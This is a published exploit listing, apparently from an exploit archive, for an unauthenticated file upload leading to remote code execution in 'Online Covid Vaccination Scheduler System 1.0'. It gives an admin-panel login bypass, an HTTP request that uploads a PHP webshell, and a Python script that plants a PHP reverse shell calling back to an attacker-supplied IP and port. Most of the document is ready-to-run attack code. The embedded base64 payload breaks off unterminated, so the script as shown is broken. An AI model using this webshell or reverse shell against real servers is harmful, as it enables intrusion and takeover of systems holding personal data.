Share
## https://sploitus.com/exploit?id=PACKETSTORM:163441
# Exploit Title: Online Covid Vaccination Scheduler System 1.0 - Arbitrary File Upload to Remote Code Execution (Unauthenticated)  
# Date: 2021-07-07  
# Exploit Author: faisalfs10x  
# Vendor Homepage: https://www.sourcecodester.com/  
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/scheduler.zip  
# Version: 1.0  
# Tested on: Windows 10, XAMPP  
  
  
"""  
################  
# Description #  
################  
  
1. The admin panel UI login can be assessed at http://{ip}/scheduler/admin/login.php. Due to the client-side input validation implemented within scripts, it is possible to bypass and access the admin panel UI by making request to "http://localhost/scheduler/admin/?page=user" and removing the javascript tag '<script>location.href="http://localhost/scheduler/admin/login.php"</script>' in the server response body.   
For making the process easier, we can use burp "Match and Replace" option to automatically replace the javascript tag parts of responses body passing through the proxy.  
2. The admin panel has an upload function of profile photo accessible at http://localhost/scheduler/admin/?page=user. An attacker could upload a malicious file such as shell.php with the Content-Type: image/png. Then, the attacker have to visit the uploaded profile photo to access the shell.  
  
  
#####################  
# PoC for webshell #  
#####################  
  
Request:  
========  
  
POST /scheduler/classes/Users.php?f=save HTTP/1.1  
Host: localhost  
Content-Length: 721  
sec-ch-ua: "Chromium";v="91", " Not;A Brand";v="99"  
Accept: */*  
X-Requested-With: XMLHttpRequest  
sec-ch-ua-mobile: ?0  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYrg9YZykFY2bmNqY  
Origin: http://localhost  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty  
Referer: http://localhost/scheduler/admin/?page=user  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: PHPSESSID=a5d66tonur7vir28rtoc049127  
Connection: close  
  
------WebKitFormBoundaryYrg9YZykFY2bmNqY  
Content-Disposition: form-data; name="id"  
  
1  
------WebKitFormBoundaryYrg9YZykFY2bmNqY  
Content-Disposition: form-data; name="firstname"  
  
Adminstrator  
------WebKitFormBoundaryYrg9YZykFY2bmNqY  
Content-Disposition: form-data; name="lastname"  
  
Admin  
------WebKitFormBoundaryYrg9YZykFY2bmNqY  
Content-Disposition: form-data; name="username"  
  
admin  
------WebKitFormBoundaryYrg9YZykFY2bmNqY  
Content-Disposition: form-data; name="password"  
  
  
------WebKitFormBoundaryYrg9YZykFY2bmNqY  
Content-Disposition: form-data; name="img"; filename="rev.php"  
Content-Type: image/png  
  
<?php echo "output: ";system($_GET['rev']); ?> # shell content here  
------WebKitFormBoundaryYrg9YZykFY2bmNqY--  
  
  
####################  
# Webshell access: #  
####################  
  
# Webshell access via:  
PoC: http://localhost/scheduler/uploads/{random_number}_rev.php?rev=whoami  
  
# Output:  
output: windows10/user  
  
"""  
  
##################################################  
# Reverse shell exploit code for windows target: #  
##################################################  
  
#!/usr/bin/python  
  
import requests  
import sys  
import string  
import random  
import urllib.request  
from requests_html import HTMLSession  
  
if len(sys.argv) < 4:  
print('\033[1;32;40m [+] Usage: python3 '+sys.argv[0]+' <target_ip> <attacker_ip> <attacker_port>')  
exit()  
  
RHOST = sys.argv[1]  
RPORT = '80'  
  
LHOST = sys.argv[2]  
LPORT = sys.argv[3]  
  
if not RHOST.startswith('http://') and not RHOST.startswith('https://'):  
RHOST = "http://" + RHOST  
  
# if not RHOST.endswith('/'):  
# RHOST = RHOST + "/"  
  
# RHOST = '127.0.0.1'  
# RPORT = '80'  
# LHOST = '192.168.8.117'  
# LPORT = '4444'  
  
shellpath = f"{RHOST}:{RPORT}/scheduler/uploads/" # shell will be uploaded here  
  
let = string.ascii_lowercase  
shellfilename = ''.join(random.choice(let) for i in range(5))+".php" # or just static shellfilename = 'rev.php'  
  
req_url = f"{RHOST}:{RPORT}/scheduler/classes/Users.php?f=save" # endpoint for uploading shell  
  
req_headers = {"sec-ch-ua": "\"Chromium\";v=\"91\", \" Not;A Brand\";v=\"99\"",   
"Accept": "*/*",   
"X-Requested-With": "XMLHttpRequest",   
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36",   
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryYrg9YZykFY2bmNqY",  
"Accept-Language": "en-US,en;q=0.9",   
"Connection": "close"}  
  
req_data = "------WebKitFormBoundaryYrg9YZykFY2bmNqY\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n1\r\n------WebKitFormBoundaryYrg9YZykFY2bmNqY\r\nContent-Disposition: form-data; name=\"firstname\"\r\n\r\nAdminstrator\r\n------WebKitFormBoundaryYrg9YZykFY2bmNqY\r\nContent-Disposition: form-data; name=\"lastname\"\r\n\r\nAdmin\r\n------WebKitFormBoundaryYrg9YZykFY2bmNqY\r\nContent-Disposition: form-data; name=\"username\"\r\n\r\nadmin\r\n------WebKitFormBoundaryYrg9YZykFY2bmNqY\r\nContent-Disposition: form-data; name=\"password\"\r\n\r\n\r\n------WebKitFormBoundaryYrg9YZykFY2bmNqY\r\nContent-Disposition: form-data; name=\"img\"; filename=\""+shellfilename+"\"\r\nContent-Type: image/png\r\n\r\n<?php\r\n\r\nheader('Content-type: text/plain');\r\n$ip = \""+LHOST+"\"; \r\n$port = \""+LPORT+"\"; \r\n$payload = \"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  
  
print("\033[1;33;40m Uploading shell...")  
out = requests.post(req_url, headers=req_headers, data=req_data, verify=False)  
  
print("\033[1;31;40m Uploaded shell will be available at "+shellpath+"")  
print(" Enjoy!")  
  
# finding the uploaded shell  
session = HTMLSession()  
r = session.get(shellpath)  
sel = 'a[href*="'+shellfilename+'"]'  
find_shellfilename = r.html.find(sel)  
  
# popping up the shell :p  
for shellname in find_shellfilename:  
try:  
url = shellname.absolute_links.pop()  
print("\033[1;33;40m Shell is available at "+url+"")  
response = urllib.request.urlopen(url)  
print(" Byeee!")  
except KeyboardInterrupt:  
exit('User aborted!')